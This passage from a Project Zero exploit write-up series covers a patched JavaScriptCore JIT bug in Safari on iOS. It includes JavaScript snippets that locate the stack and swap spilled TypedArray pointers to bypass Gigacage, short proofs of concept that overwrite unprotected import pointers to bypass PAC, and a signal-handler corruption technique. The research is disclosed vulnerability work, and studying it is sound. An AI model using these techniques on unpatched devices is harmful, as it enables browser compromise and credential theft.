stack, and so the top JS call frame is also basically the top of the main thread\u2019s stack. As such, finding the stack becomes as easy as following a pointer chain from the global object to the VM instance:\n\n** \n**\n\nlet global = Function('return this')();\n\nlet js_glob_obj_addr = addrof(global);\n\n** \n**\n\nlet glob_obj_addr = read64(Add(js_glob_obj_addr, \n\noffsets.JS_GLOBAL_OBJ_TO_GLOBAL_OBJ));\n\n** \n**\n\nlet vm_addr = read64(Add(glob_obj_addr, offsets.GLOBAL_OBJ_TO_VM));\n\n** \n**\n\nlet vm_top_call_frame_addr = Add(vm_addr, \n\noffsets.VM_TO_TOP_CALL_FRAME);\n\nlet vm_top_call_frame_addr_dbl = vm_top_call_frame_addr.asDouble();\n\n** \n**\n\nlet stack_ptr = read64(vm_top_call_frame_addr);\n\nlog(`[*] Top CallFrame (stack) @ ${stack_ptr}`);\n\n** \n**\n\n### Separating TypedArray Access Operations\n\nWith the opt function above that simply accesses a typed array at an index once (i.e. a[0]), the GetIndexedPropertyStorage operation will be directly followed by the GetByVal operation, thus making it impossible to corrupt the uncaged pointer even if it was spilled onto the stack. However, the following code already manages to separate the two operations:\n\n** \n**\n\nfunction opt(a) {\n\na[0];\n\n** \n**\n\n// Spill code here\n\n** \n**\n\na[1];\n\n}\n\n** \n**\n\nThis code will initially generate the following DFG IR:\n\n** \n**\n\nv0 = GetIndexedPropertyStorage a \n\nGetByVal v0, 0\n\n** \n**\n\n// Spill code here\n\n** \n**\n\nv1 = GetIndexedPropertyStorage a\n\nGetByVal v1, 1\n\n** \n**\n\nThen, a bit later in the optimization pipeline, the two GetIndexedPropertyStorage operations will be [CSE\u2019d](<https://en.wikipedia.org/wiki/Common_subexpression_elimination>) into a single one, thus separating the 2nd GetByVal from the GetIndexedPropertyStorage operation:\n\n** \n**\n\nv0 = GetIndexedPropertyStorage a\n\nGetByVal v0, 0\n\n** \n**\n\n// Spill code here\n\n** \n**\n\n// Then walk over stack here and replace backing storage pointer\n\n** \n**\n\nGetByVal v0, 1\n\n** \n**\n\nHowever, this will only happen if [the spilling code doesn\u2019t modify global state](<https://github.com/WebKit/webkit/blob/b4adcb485cc8812a374bc1d57c66692d2a67399b/Source/JavaScriptCore/dfg/DFGClobberize.h#L1254>), because that could potentially [detach](<https://tc39.es/ecma262/#sec-detacharraybuffer>) the TypedArray\u2019s buffer, thus invalidating its backing storage pointer. In that case, the compiler would be forced to reload the backing storage pointer for the 2nd GetByVal. As such, it\u2019s not possible to run completely arbitrary code to force spilling, but that is not a problem as is shown next. It is also worth noting that two different indices must be used here since otherwise the GetByVals could be CSE\u2019d as well.\n\n### Spilling Registers\n\nWith the previous two steps done, the remaining question is how to force spilling of the uncaged pointer produced by GetIndexedPropertyStorage. One way to force spilling while still allowing the CSE to happen is by performing some simple mathematical computations that require a lot of temporary values to be kept alive. The following code accomplishes this in a stylish way:\n\n** \n**\n\nlet p = 0; // Placeholder, needed for the ascii art =)\n\n** \n**\n\nlet r0=i,r1=r0,r2=r1+r0,r3=r2+r1,r4=r3+r0,r5=r4+r3,r6=r5+r2,r7=r6+r1,r8=r7+r0;\n\nlet r9= r8+ r7,r10=r9+r6,r11=r10+r5, r12 =r11+p +r4+p+p;\n\nlet r13 =r12+p +r3, r14=r13+r2,r15=r14+r1, r16= r15+p + r0+p+p+p;\n\nlet r17 =r16+p +r15, r18=r17+r15,r19=r18+ r14+p ,r20 =p +r19+r13;\n\nlet r21 =r19+p +r12 , r22=p+ r21+p+ r11+p, r23 =p+ r22+r10;\n\nlet r24 =r23+r9 ,r25 =p +r24 +r8+p+p +p ,r26 =r25+r7;\n\nlet r27 =r26+r6,r28=r27+p +p +r5+ p, r29=r28+ p +r4+ p+p+p+p;\n\nlet r30 =r29+r3,r31=r30+r2 ,r32=p +r31+r1+p ,r33=p +r32+r0;\n\nlet r34=r33+r32,r35=r34+r31,r36=r25+r30,r37=r36+r29,r38=r37+r28,r39=r38+r27+p;\n\n** \n**\n\nlet r = r39; // Keep the entire computation alive, or nothing will be spilled.\n\n** \n**\n\nThe computed series is somewhat similar to the fibonacci series, but requires that intermediate results are kept alive as they are needed again later on in the series. Unfortunately, this approach is somewhat fragile as unrelated changes to various parts of the engine, in particular the register allocator, will easily break the stack spilling. \n\n** \n**\n\nThere is another, simpler way (although probably slightly less performant and certainly less visually appealing) that virtually guarantees that a raw storage pointer will be spilled to the stack: simply access as many TypedArrays as there are general purpose registers instead of just one. In that case, as there are not enough registers to hold all the raw backing storage pointers, some of them will have to be spilled to the stack where they can then be found and replaced. A naive version of this would look as follows:\n\n** \n**\n\ntyped_array1[0];\n\ntyped_array2[0];\n\n...;\n\ntyped_arrayN[0];\n\n** \n**\n\n// Walk over stack, find and replace spilled backing storage pointer\n\nlet stack = ...; // JSArray pointing into stack\n\nfor (let i = 0; i < 512; i++) {\n\nif (stack[i] == old_ptr) {\n\nstack[i] = new_ptr;\n\nbreak;\n\n}\n\n}\n\n** \n**\n\ntyped_array1[0] = val_to_write;\n\ntyped_array2[0] = val_to_write;\n\n...;\n\ntyped_arrayN[0] = val_to_write;\n\n** \n**\n\nWith the main challenges overcome, the attack can now be implemented and a proof-of-concept is attached at the end of this blog post for the interested reader. All in all the technique is quite fiddly to implement initially, with a few more gotchas that have to be taken care of - see the PoC for details. However, once implemented, the resulting code is highly reliable and very fast, almost instantly achieving a truly arbitrary memory read/write primitive on both macOS and iOS and across different WebKit builds without additional changes.\n\n** \n**\n\n## Conclusion\n\nThis post showed how an attacker can (still) exploit the well-known addrof and fakeobj primitives to gain arbitrary memory read/write in WebKit. For that the StructureID mitigation had to be bypassed, while bypassing the Gigacage was mostly optional (but fun). I would personally draw the following conclusions from writing the exploit up to this point:\n\n** \n**\n\n 1. StructureID randomization seems very weak at this point. As a fair amount of type information is stored in the JSCell bits and thus predictable by the attacker, it seems likely that many other operations can be found and abused that don\u2019t require a valid StructureID. Furthermore, bugs that can be turned into heap out-of-bounds reads can likely be used to leak a valid StructureID.\n\n 2. In its current state, the purpose of the Gigacage as a security mitigation is not entirely clear to me, as an (almost) arbitrary read/write primitive can be constructed from plain JSArrays which are not subject to the Gigacage. At that point, as demonstrated here, the Gigacage can also be fully bypassed, even though that is likely not necessary in practice.\n\n 3. I think it would be worth investigating the impact (both on security and performance) of removing unboxed double JSArrays and properly caging the remaining JSArray types (which all store \u201cboxed\u201d JSValues). This could potentially make both the StructureID randomization and the Gigacage much stronger. In the case of this exploit, this would have prevented the construction of the addrof and fakeobj primitives in the first place (because the double <-> JSValue type confusion could no longer be constructed) as well as the limited read/write through JSArrays and would also prevent leaking a valid StructureID via an OOB access into a JSArray (arguably the most common scenario for OOB accesses).\n\n** \n**\n\n[The final part](<https://googleprojectzero.blogspot.com/2020/09/jitsploitation-three.html>) of this series will show how PC control can be gained from the read/write despite more mitigations such as PAC and APRR.\n\n## Proof-of-Concept GigaUnCager\n\n## \n\n// This function achieves arbitrary memory read/write by abusing TypedArrays.\n\n//\n\n// In JSC, the typed array backing storage pointers are caged as well as PAC\n\n// signed.

The exploited vulnerability, CVE-2020-9802, was fixed in iOS 13.5, while two of the mitigation bypasses, CVE-2020-9870 and CVE-2020-9910, were fixed in iOS 13.6.\n\n** \n**\n\n==========\n\n** \n**\n\nThis post is third in a series about a Safari renderer exploit. [Part 1](<https://googleprojectzero.blogspot.com/2020/09/jitsploitation-one.html>) discussed a JIT compiler vulnerability in JSC and [Part 2](<https://googleprojectzero.blogspot.com/2020/09/jitsploitation-two.html>) showed how it could be turned into a reliable read/write primitive despite various mitigations. The purpose of this post is to provide an overview of the various code execution mitigations present in WebKit on iOS 13 and to discuss different approaches for bypassing them.\n\n## The Evolution of iOS JIT Hardenings\n\nIn the \u201cold\u201d days of browser exploitation, an attacker with a read/write capability in a renderer process would [simply write arbitrary shellcode into the rwx JIT region](<http://www.phrack.org/papers/attacking_javascript_engines.html>) and call it a day. \n\n** \n**\n\nThe first software-based mitigation against this technique in WebKit was deployed in 2016: the \u201c[Bulletproof JIT](<https://www.blackhat.com/docs/us-16/materials/us-16-Krstic.pdf>)\u201d. It worked by mapping the JIT region twice, once as r-x for execution and once as rw- for writing. The writable mapping was placed at a secret location in memory and the bulletproof JIT then relied on a \\--x region containing a jit_memcpy function that would copy given data into the writable JIT mapping without disclosing its secret address. However, this mitigation was rather easy to defeat due to the lack of [CFI](<https://en.wikipedia.org/wiki/Control-flow_integrity>), for example via ROP. Moreover, if an attacker was able to disclose the location of the writable mapping through some means, they could simply write their shellcode to it.\n\n** \n**\n\nThe iOS JIT hardening became stronger with the addition of hardware assisted mitigations around the introduction of the iPhone Xs, namely APRR and PAC. These will be discussed next. For a fuller picture of the various iOS exploit mitigations, the interested reader is referred to the presentation \u201c[Evolution of iOS mitigations](<https://papers.put.as/papers/ios/2019/Siguza_-_Mitigations.pdf>)\u201d by Siguza.\n\n### APRR\n\nWhile the expansion of this acronym is not known for certain outside of Apple, its functionality is fairly well understood. Without going into too much technical detail - the interested reader is referred to [Siguza\u2019s blog post on APRR](<https://siguza.github.io/APRR/>) for that - the goal behind APRR is essentially to enable per-thread page permissions. This is implemented by mapping page table entry permissions to their real permission with dedicated CPU registers. With that, page permissions essentially simply become an index into the APRR registers which now hold the actual page permissions. As a simplified example, consider the following APRR mapping:\n\n** \n**\n\nPage Table Entry Permission\n\n| \n\nResulting Index\n\n| \n\nAPRR Register at that Index \n \n---|---|--- \n \n\\---\n\n| \n\n0\n\n| \n\n\\--- \n \n\\--x\n\n| \n\n1\n\n| \n\n\\--x \n \n-w-\n\n| \n\n2\n\n| \n\n-w- \n \n-wx\n\n| \n\n3\n\n| \n\n\\--x \n \nr--\n\n| \n\n4\n\n| \n\nr-- \n \nr-x\n\n| \n\n5\n\n| \n\nr-x \n \nrw-\n\n| \n\n6\n\n| \n\nrw- \n \nrwx\n\n| \n\n7\n\n| \n\nr-x \n \n** \n**\n\nWith the APRR register set up in this way, it would effectively enforce a strict W^X policy: no page could ever be writable and executable at the same time. \n\n** \n**\n\nIn WebKit, APRR is now used to protect the JIT region: the JIT region\u2019s page table permissions are rwx, but W^X is enforced as shown above. As such, the JIT region is effectively r-x and thus trying to directly write into it will trigger a segfault. As the JIT region has to be written into from time to time (when new code is compiled or existing code is updated), it is necessary to change the permissions of the region. This is done through a dedicated \u201cunlock\u201d function which changes the value of the APRR register at index 7 (corresponding to the page table permissions rwx) to rw-. However, this happens only for the thread that is about to copy data into the JIT region while the region remains r-x for all other threads. This prevents an attacker from racing the JIT compiler thread when it unlocks the region. Below is the slightly simplified source code of the [performJITMemcpy function](<https://github.com/WebKit/webkit/blob/909d1c0d841c7810ca7dd108e5b3e01ed71dcb85/Source/JavaScriptCore/jit/ExecutableAllocator.h#L116>), responsible for copying code into the JIT region:\n\n** \n**\n\nALWAYS_INLINE void* \n\nperformJITMemcpy(void *dst, const void *src, size_t n)\n\n{\n\nos_thread_self_restrict_rwx_to_rw();\n\nmemcpy(dst, src, n);\n\nos_thread_self_restrict_rwx_to_rx();\n\nreturn dst;\n\n}\n\n** \n**\n\nAlso note the use of ALWAYS_INLINE which forces this function to be inlined at every callsite. More on that later.\n\n** \n**\n\nAPRR by itself would be fairly easy to bypass. The two main types of attacks are:\n\n 1. ROPing, JOPing, etc. into the performJITMemcpy function (or really, a function where it is inlined) and that way copy arbitrary code into the JIT region.\n\n 2. As the compiler assembles machine code into a [temporary heap buffer](<https://github.com/WebKit/webkit/blob/909d1c0d841c7810ca7dd108e5b3e01ed71dcb85/Source/JavaScriptCore/assembler/AssemblerBuffer.h#L146>) which is afterwards copied into the JIT region, it would be possible for an attacker to corrupt the machine code on the heap prior to the copy.\n\n** \n**\n\nEnter PAC.\n\n** \n**\n\n### PAC\n\n[PAC](<https://github.com/apple/llvm-project/blob/apple/master/clang/docs/PointerAuthentication.rst>), short for Pointer Authentication Codes, is another hardware feature which allows storing a cryptographic signature in the otherwise unused top bits of a pointer. It has been the topic of much research and is by now well documented, for example in a [blogpost by Brandon Azad](< https://googleprojectzero.blogspot.com/2019/02/examining-pointer-authentication-on.html>). With PAC enabled, every code pointer must have a valid signature which is checked before transferring control flow to it. As the PAC keys are kept in registers, they are inaccessible to an attacker who is thus unable to forge valid pointers.\n\n** \n**\n\nPAC thus immediately prevents an attacker from performing attack 1) above. Also, since the performJITMemcpy function is marked as ALWAYS_INLINE, there will be no existing function pointers to it that would allow an attacker to call this function with controlled arguments.\n\n** \n**\n\nAttack 2) needs additional work to mitigate. The issue mainly manifests inside the [LinkBuffer::copyCompactAndLinkCode](<https://github.com/WebKit/webkit/blob/909d1c0d841c7810ca7dd108e5b3e01ed71dcb85/Source/JavaScriptCore/assembler/LinkBuffer.cpp#L134>) function, responsible for copying (and linking as well as possibly compacting) the previously assembled machine code into the JIT region. If an attacker was able to corrupt the heap buffer containing the machine code before this function copies it into the JIT region, the attacker would gain arbitrary code execution. This attack is mitigated by computing a [PAC-based hash](<https://github.com/WebKit/webkit/blob/909d1c0d841c7810ca7dd108e5b3e01ed71dcb85/Source/JavaScriptCore/assembler/AssemblerBuffer.h#L152>) over the machine code [during assembling](<https://github.com/WebKit/webkit/blob/909d1c0d841c7810ca7dd108e5b3e01ed71dcb85/Source/JavaScriptCore/assembler/AssemblerBuffer.h#L311>), then [recomputing](<https://github.com/WebKit/webkit/blob/909d1c0d841c7810ca7dd108e5b3e01ed71dcb85/Source/JavaScriptCore/assembler/LinkBuffer.cpp#L184>) and [verifying that hash](<https://github.com/WebKit/webkit/blob/909d1c0d841c7810ca7dd108e5b3e01ed71dcb85/Source/JavaScriptCore/assembler/LinkBuffer.cpp#L239>) during copying. This way, it is ensured that whatever the [assembler](<https://github.com/WebKit/webkit/blob/909d1c0d841c7810ca7dd108e5b3e01ed71dcb85/Source/JavaScriptCore/assembler/ARM64Assembler.h>) emitted is also copied into the JIT region without modifications. While it is likely possible to trick the compiler to emit somewhat controllable code, more on that later, it is no longer generally possible to execute arbitrary instructions as the assembler only supports a limited set of instructions.\n\n### Summary\n\nTogether, APRR and PAC achieve the following:\n\n * The JIT region is effectively mapped r-x and is \u201cunlocked\u201d only for a short period of time and only for a single thread when JIT code is updated. This prevents an attacker from writing into the JIT region directly\n\n * PAC is used to enforce CFI and thus prevent an attacker from performing classic code reuse attacks like ROP, JOP, etc. It is also not possible to call the performJITMemcpy function directly as it is always inlined into its callers\n\n * PAC is used to ensure the integrity of emitted JIT code before it is copied into the JIT region\n\n** \n**\n\nThis was the starting point for the final part of this research project. The remainder of this post will now discuss different bypass approaches.\n\n## Bypassing The JIT Hardenings\n\nThe different attacks presented next ultimately strive to gain a level of control over the program\u2019s execution flow that is powerful enough to implement a second stage exploit (most likely some form of sandbox escape). This is most likely what an attacker would usually attempt to achieve. It should be kept in mind, however, that without something like [site isolation](<https://www.chromium.org/Home/chromium-security/site-isolation>), an attacker with a memory read/write capability in a renderer process is usually able to construct a UXSS attack, thus gaining access to various web credentials and sessions and possibly even gaining persistence through web workers. These issues have been [demonstrated in the past](<https://youtu.be/a0yPYpmUpIA>) and will thus not be discussed further.\n\n### Shellcode-less Exploitation\n\nFirst of all, it is important to note that an attacker does not necessarily need shellcode execution. For example, it is possible to abuse the ObjectiveC and JavaScriptCore runtime so that arbitrary function and syscalls can be performed from JavaScript. This in turn can then be used to implement the next stage of an exploit chain, avoiding the need to bypass the JIT hardenings altogether. This [has already been demonstrated](<https://googleprojectzero.blogspot.com/2020/01/remote-iphone-exploitation-part-3.html>) and was thus not researched further during this project.\n\n** \n**\n\nSimilarly, while the JIT\u2019s final output - the machine code - is protected through PAC, its intermediate outputs, in particular the various IRs - DFG, [B3, and AIR](<https://webkit.org/blog/5852/introducing-the-b3-jit-compiler/>) \\- and other supporting data structures are not protected and thus are subject to manipulation by an attacker. A possible approach is thus to corrupt the JIT\u2019s IR code in order to for example trick the compiler into generating calls to arbitrary functions with controlled arguments. This would likely grant a very similar primitive to the one above, i.e. being able to execute controlled syscalls, and was thus not explored further during this research.\n\n### Race Conditions\n\nRace conditions appear to be somewhat widespread along the PAC+APRR boundary. As an example, the following is a rather typical invocation of performJITMemcpy, in this case to [repatch a pointer-sized immediate value in JIT generated code](<https://github.com/WebKit/webkit/blob/909d1c0d841c7810ca7dd108e5b3e01ed71dcb85/Source/JavaScriptCore/assembler/ARM64EAssembler.h#L326>):\n\n** \n**\n\nint buffer[4];\n\nbuffer[0] = moveWideImediate(Datasize_64, MoveWideOp_Z, 0, \n\ngetHalfword(value, 0), rd);\n\nbuffer[1] = moveWideImediate(Datasize_64, MoveWideOp_K, 1, \n\ngetHalfword(value, 1), rd);\n\nbuffer[2] = moveWideImediate(Datasize_64, MoveWideOp_K, 2, \n\ngetHalfword(value, 2), rd);\n\nif (NUMBER_OF_ADDRESS_ENCODING_INSTRUCTIONS > 3)\n\nbuffer[3] = moveWideImediate(Datasize_64, MoveWideOp_K, 3, \n\ngetHalfword(value, 3), rd);\n\nperformJITMemcpy(address, buffer, sizeof(int) * 4);\n\n** \n**\n\nHere, the machine instructions necessary to load the immediate value are first emitted into a stack allocated buffer which is subsequently copied into the JIT region via performJITMemcpy. As such, if another thread managed to corrupt the stack allocated buffer before it is copied into the JIT region, the attacker would gain arbitrary code execution. However, the race window here is very small, and losing the race might cause in-use stack memory to be corrupted, possibly leading to a crash. (This code also suffers from another, theoretical bug: should NUMBER_OF_ADDRESS_ENCODING_INSTRUCTIONS ever be less than 4, then it would copy uninitialized stack memory into the JIT region\u2026). \n\n** \n**\n\nUltimately, I decided to exclude race conditions that could not safely be lost from this research project, as it can be argued that a mitigation that forces attackers to win a race while risking a process crash is in some aspect working as intended.\n\n### Unprotected Code Pointers\n\nAnother possible attack vector are cases where PAC is used incorrectly. Examples for that include:\n\n 1. Places that sign a raw pointer that can be corrupted by the attacker\n\n 2. Places that call an unsigned function pointer that can be controlled by the attacker\n\n** \n**\n\nFinding such cases is possible through static analysis on the assembly code. While I initially wanted to use one of binary ninja\u2019s various ILs for this due to their support for various dataflow analyses, the lack of support for PAC instructions made this harder and I went instead for a very simple IDAPython script which would output sequences of instructions ending in a PAC signing instruction such as [PACIZA](<https://developer.arm.com/documentation/dui0801/g/A64-General-Instructions/PACIA--PACIZA--PACIA1716--PACIASP--PACIAZ>). When run on a DyldSharedCache image, the script would output many thousands of lines such as\n\n** \n**\n\nlibz.1:__text:0x1b6ba1444 ADRL X16, sub_1B6BA9434; PACIZA X16\n\n** \n**\n\nThis \u201cgadget\u201d essentially takes a constant (the address of sub_1B6BA9434) and signs it using the A key and a context of zero. As such, it is not very interesting for an attacker as the signed value cannot be controlled. After filtering out such obviously safe code snippets, one remaining and frequently occurring code pattern looked like this:\n\n** \n**\n\nADRP X16, #_pow_ptr_3@PAGE\n\nLDR X16, [X16,#_pow_ptr_3@PAGEOFF]\n\nPACIZA X16\n\n** \n**\n\nThis code snippet loads a raw pointer from a writable page, then signs it using the PACIZA instruction. As such, an attacker can bypass PAC by overwriting the raw pointer in memory, then somehow getting this code to execute. It appears that the compiler emitted this vulnerable code every time a function from a different compilation unit was referenced as a pointer instead of being called directly. This particular code snippet was the machine code of the following C++ code in JavaScriptCore:\n\n** \n**\n\nLValue Output::doublePow(LValue xOperand, LValue yOperand)\n\n{\n\ndouble (*powDouble)(double, double) = pow;\n\nreturn callWithoutSideEffects(B3::Double, powDouble, xOperand, yOperand);\n\n}\n\n** \n**\n\nThis function is used by the JIT compiler when a [Math.pow](<https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/pow>) invocation that is known to operate on double values is optimized. In that case, the compiler emits a call to the C pow function, and for that loads and signs its address with this function. Due to the bug in the compiler, the imported function pointer was, however, placed in a writable section but also not protected by PAC. The PoC for this issue is then quite simple:\n\n** \n**\n\n// offset from iOS 13.4.1, iPhone Xs\n\nlet powImportAddr = Add(jscBase, 0x34e1d570);\n\nmemory.writePtr(powImportAddr, new Int64('0x41414141'));\n\n** \n**\n\nfunction trigger(x) {\n\nreturn Math.pow(x, 13.37);\n\n}\n\nfor (let i = 0; i < 10000000; i++) {\n\ntrigger(i + 0.1);\n\n}\n\n** \n**\n\nThis will result in a crash with PC=0x41414141, demonstrating that PAC has been bypassed.\n\n** \n**\n\nSearching with a slightly modified IDAPython script for the second vulnerability type, a call to an unprotected pointer, also resulted in an interesting code snippet:\n\n** \n**\n\nMOV W9, #0x6770\n\nADRP X16, #___chkstk_darwin_ptr_19@PAGE\n\nLDR X16, [X16,#___chkstk_darwin_ptr_19@PAGEOFF]\n\nBLR X16\n\n** \n**\n\nThis code, found at the start of many large functions, branches to the __chkstk_darwin function, which is likely responsible for preventing a huge stackframe from \u201cjumping over\u201d a stack guard page in case of a stack overflow. For some reason however, the pointer to that function was loaded from a writable memory region and was also not protected by PAC. As such, it was again possible to execute arbitrary code as demonstrated by the following code snippet:\n\n** \n**\n\n// offset from iOS 13.4.1, iPhone Xs\n\nlet __chkstk_darwin_ptr = Add(jscBase, 0x34e1d430);\n\nmemory.writePtr(__chkstk_darwin_ptr, new Int64('0x42424242'));\n\n** \n**\n\n// Just need to trigger FTL compilation now, we'll crash in FTL::lowerDFGToB3\n\nfunction foo(x) {\n\nreturn Math.pow(x, 13.37);\n\n}\n\nfor (let i = 0; i < 10000000; i++) {\n\nfoo(i + 0.1);\n\n}\n\n** \n**\n\nThis works because of the widespread use of __chkstk_darwin in basically any function with a large stack frame, one of which, namely FTL::lowerDFGToB3, is executed during JIT compilation.\n\n** \n**\n\nThe two issues were reported to Apple as [Project Zero issue #2044](<https://bugs.chromium.org/p/project-zero/issues/detail?id=2044>) and were subsequently fixed in iOS 13.6 on July 15th and assigned CVE-2020-9870. The IDAPython script used to find these gadgets can also be found in the [report for issue #2044](<https://bugs.chromium.org/p/project-zero/issues/detail?id=2044>).\n\n### Manipulating Mach Messages\n\nInspired by various chats with fellow Project Zero team member Brandon Azad, the idea behind this bypass is to corrupt a [mach message struct](<http://web.mit.edu/darwin/src/modules/xnu/osfmk/man/mach_msg_header.html>) before it is sent out via the [mach_msg](<http://web.mit.edu/darwin/src/modules/xnu/osfmk/man/mach_msg.html>) syscall. On iOS and macOS, a large portion of the kernel interface, the entire IOKIT driver interface, as well as basically all userspace IPC is implemented through mach messages, making this a powerful exploit primitive. For example, it should be possible to (ab)use virtual memory related mach syscalls to bypass PAC and/or APRR by changing memory protections or remapping pages. Alternatively, controlling mach messages would again allow implementing a stage 2 exploit from JavaScript, unless the ability to perform BSD syscalls was required for it.\n\n** \n**\n\nA simple, yet imperfect approach to find code that sends mach messages is to hook the mach_msg function with a Frida script, then deduplicate its invocations based on their callstack. This is imperfect as it will miss code paths that are rarely executed during normal operations, but is very quick to implement. Doing this in a WebKit renderer process will show roughly the following groups of related calls to mach_msg:\n\n * [IPC communication](<https://github.com/WebKit/webkit/tree/909d1c0d841c7810ca7dd108e5b3e01ed71dcb85/Source/WebKit/Platform/IPC/cocoa>) with the browser process\n\n * [XPC communication](<https://developer.apple.com/documentation/xpc>) with other system processes\n\n * Mach syscalls to the kernel\n\n** \n**\n\nUltimately, all of these cases appeared to be race conditions, as the constructed mach message was mostly immediately sent out without lingering in memory for some (ideally attacker-controllable) time during which it could be corrupted. As losing the race in these cases results in either heap (in the case of IPC and XPC communication) or stack (in the case of mach syscalls) corruption, the races can likely not safely be repeated and as thus these cases didn\u2019t meet the requirements of a reliable bypass technique.\n\n### Abusing Signal Handlers\n\nPAC (like many other mitigations) relies on crashing the process in order to stop the attacker. An interesting target are thus signal handling mechanisms that can interrupt the crashing process.\n\n** \n**\n\nWebKit has support for signal handling inside the renderer process, which it uses for some JavaScriptCore optimizations. For example, JSC [supports an execution mode](<https://github.com/WebKit/webkit/blob/015fb86d51851fc3e13f05898c85d62d0b1bae8f/Source/JavaScriptCore/runtime/OptionsList.h#L466>) for WASM code where all bounds checks are omitted, but where the WASM heap is followed by a 32GB guard region. Since WASM memory accesses use 32bit indices, if an invalid access occurs in WASM, it will always access a guard page, cause a segfault, and then run the [WASM signal handle](<https://github.com/WebKit/webkit/blob/master/Source/JavaScriptCore/wasm/WasmFaultSignalHandler.cpp>)r. The handler will then repatch the WASM code so that the faulting thread will raise a JavaScript exception upon resuming.\n\n** \n**\n\nException handling in WebKit is based on the [mach exception handling infrastructure](<http://web.mit.edu/darwin/src/modules/xnu/osfmk/man/catch_exception_raise.html>) instead of the UNIX signal handling facilities. Here is a brief overview of how it works:\n\n 1. When an exception occurs in some renderer thread, a [GCD](<https://en.wikipedia.org/wiki/Grand_Central_Dispatch>) worker thread is woken up by the kernel to handle the exception\n\n 2. The thread executes mach_msg_server_once, which fetches the mach message describing the exception from the kernel, allocates the reply message, then passes both to a handler function\n\n 3. _Xmach_exception_raise_state_identity, an auto-generated [MIG](<http://www.cs.cmu.edu/afs/cs/project/mach/public/doc/unpublished/mig.ps>) function, is the registered handler for exception messages. It will dissect the input mach message, extracting values like the register contents at the time of the crash, then execute the \u201creal\u201d handler function:\n\n 4. [catch_mach_exception_raise_state](<https://github.com/WebKit/webkit/blob/4ceb36e525b55b9d49aed0b400507d522953e025/Source/WTF/wtf/threads/Signals.cpp#L137>) will now iterate over a [linked list of registered handlers](<https://github.com/WebKit/webkit/blob/4ceb36e525b55b9d49aed0b400507d522953e025/Source/WTF/wtf/threads/Signals.cpp#L59>) (such as the [WASM fault handler](<https://github.com/WebKit/webkit/blob/master/Source/JavaScriptCore/wasm/WasmFaultSignalHandler.cpp>)) and execute each one of them, also passing them the output register state which they can modify. Depending on whether one of the handlers handled the exception, this function will return KERN_SUCCESS or KERN_FAILURE\n\n 5. Back in _Xmach_exception_raise_state_identity, the return value as well as the output register state are used to populate the reply message\n\n 6. mach_msg_server_once finally sends the reply message to the kernel, then returns control to GCD\n\n 7. The kernel will now either resume the crashed thread with the output register state if the return value was KERN_SUCCESS, otherwise terminate it\n\n** \n**\n\nThe process is visualized again in the following graphics.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4SFfJmeKh9o9ab8pnXpCdIWvEONwVHuPRLc_a40e0qkM-XdxDX6G-6WoIa_C0_CLBicc_18id5Q5n2E_QvLDvLSnRrUABSq0Ahk-ccRnmrMGjoil0ft-wBBWj0aLyt_Rv6HPopeP-rxce_Tll31vvulEqVPUXtJUSpqcqSKk_wh8AiZ1gr4rcNRt8/s1922/image1%2814%29.png>) ** \n**\n\nThis now enables the following attack:\n\n** \n**\n\n 1. The singly-linked list of handlers is corrupted and turned into a cycle. This is possible because, in contrast to the handler function pointers, the next pointer of the list elements are not protected by PAC\n\n 2. An access violation is caused in a separate thread. This will cause a GCD thread to become \u201cstuck\u201d in catch_mach_exception_raise_state, looping infinitely due to the cycle\n\n 3. A thread under the attacker's control now searches through all thread stacks (they are allocated contiguously in memory) looking for the return address of catch_mach_exception_raise_state. Once found, it now also has access to the reply mach message as a pointer to it is spilled on the stack. The reply message can then directly be manipulated by the attacker. In particular, the new register state (except for PC, which is protected by PAC) and the return value, indicating whether the exception was handled or not, can now be set.\n\n 4. The spilled pointer on the stack is replaced with a different one to cause _Xmach_exception_raise_state_identity to write the actual return value of the signal handler (which will be KERN_FAILURE) into a different memory location while its caller, mach_msg_server_once will send the attacker-controlled reply message back to the kernel\n\n 5. The thread fixes up the handler list, causing the handler thread to break out of the loop and return from catch_mach_exception_raise_state. The kernel will now receive a completely attacker controlled reply message and will thus resume the crashed thread with attacker controlled register (and stack) context\n\n** \n**\n\nThis is quite a strong exploitation primitive, essentially enabling the construction of a small \u201cdebugger\u201d capable of breaking on most data accesses in the program and able to change the execution context at those points mostly arbitrarily. This can in turn be used in multiple ways to bypass PAC and/or APRR. Possible ideas include:\n\n** \n**\n\n * Corrupt the AssemblerBuffer so arbitrary instructions are copied into the JIT region by the LinkBuffer. This will cause the computed hashes to mismatch and the linker to crash, but that only happens after the instructions have been copied and the crash can then simply be caught\n\n * Crash during[ one of the writes](<https://github.com/WebKit/webkit/blob/909d1c0d841c7810ca7dd108e5b3e01ed71dcb85/Source/JavaScriptCore/assembler/LinkBuffer.cpp#L234>) into the JIT region in LinkBuffer::copyCompactAndLinkCode (by corrupting the destination pointer prior to that) and change the content of the source register so that an arbitrary instruction is written into the JIT region while the original instruction is used for the hash computation\n\n * Crash during LinkBuffer::copyCompactAndLinkCode and resume execution somewhere else. This should leave the JIT region writable (although not executable) for that thread\n\n * Brute-force a PAC code (e.g. by repeatedly accessing, crashing, and then changing a PAC protected pointer), then JOP into one of the functions into which performJITMemcpy is inlined\n\n** \n**\n\nA simple PoC demonstrating how this technique works (or, by now, used to work) can be found in the published proof of concept exploit code in the pwn.js file. It implements a simple PAC bypass with this \u201cdebugger\u201d for TypedArrays by corrupting a PAC-protected buffer pointer, catching the exception during its access, then changing the register holding the raw pointer and resuming execution.\n\n** \n**\n\nThis issue was reported to Apple as [Project Zero issue #2042](<https://bugs.chromium.org/p/project-zero/issues/detail?id=2042>). It was then fixed in WebKit HEAD with commit [014f1fa8c2](<https://github.com/WebKit/webkit/commit/014f1fa8c22d9227f8a7d877dbb3673e5a4f6e02>) (only 6 days after the report) by initializing the signal handlers when the JavaScript engine is initialized, then marking the memory region holding the signal handlers as read-only. This prevents an attacker from modifying the list. The fix was shipped to users with iOS 13.6 on July 15th and the issue was assigned CVE-2020-9910.\n\n#### Variants\n\nThis \u201cbug\u201d pattern is a bit more general and also not strictly related to signal handling. As an example, consider the following code from LinkBuffer::copyCompactAndLinkCode:\n\n** \n**\n\nif (verifyUncompactedHash.finalHash() != expectedFinalHash) {\n\ndataLogLn(\"Hashes don't match: \", ...);\n\ndataLogLn(\"Crashing!\");\n\nCRASH();\n\n}\n\n** \n**\n\nThis code is executed if, during linking and copying of the assembled code, JSC determines that the machine code has been corrupted as the cryptographic hashes 